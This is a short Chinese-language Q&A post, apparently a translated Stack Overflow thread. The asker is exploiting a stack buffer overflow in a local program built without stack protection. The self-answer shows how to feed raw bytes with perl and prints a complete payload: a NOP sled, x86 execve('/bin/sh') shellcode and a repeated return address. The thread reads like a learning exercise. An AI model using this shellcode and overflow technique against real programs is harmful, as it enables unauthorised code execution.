我试图在没有堆栈保护的命令行程序上生成一个shell,这个程序接受两个输入数字和一个日期。
./convert <number> <date>
我希望溢出缓冲区,现在我正在尝试
[nop sled] ..... [shell code] ..... [return address]
我的问题在于我通过命令行传递nops(或者更准确地说是在GDB中)。在GDB中,我使用参数运行:1 \x90\x90\x90\x90.... 700
字节值,输入的内容是实际字符'\' 'x' '9' '0'
,与nop
的十六进制值相反。我怎样才能正确输入? (我知道这是因为EIP给了我{{1}},转化为39785c30
)。我该怎么办?
答案 0 :(得分:0)
好的,明白了!一个人可以使用perl打印功能并使用转义来打印nops(以及你不能用键盘打印的其他字符)。例如perl -e 'print "\x90"'
,它会将0x90发送到内存(或任何你需要的内容)。
我做了类似的事情:
egg=$(perl -e 'print "\x90"x719, "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh", "\x90\xf6\xff\xbf"x5')
谢谢大家的帮助!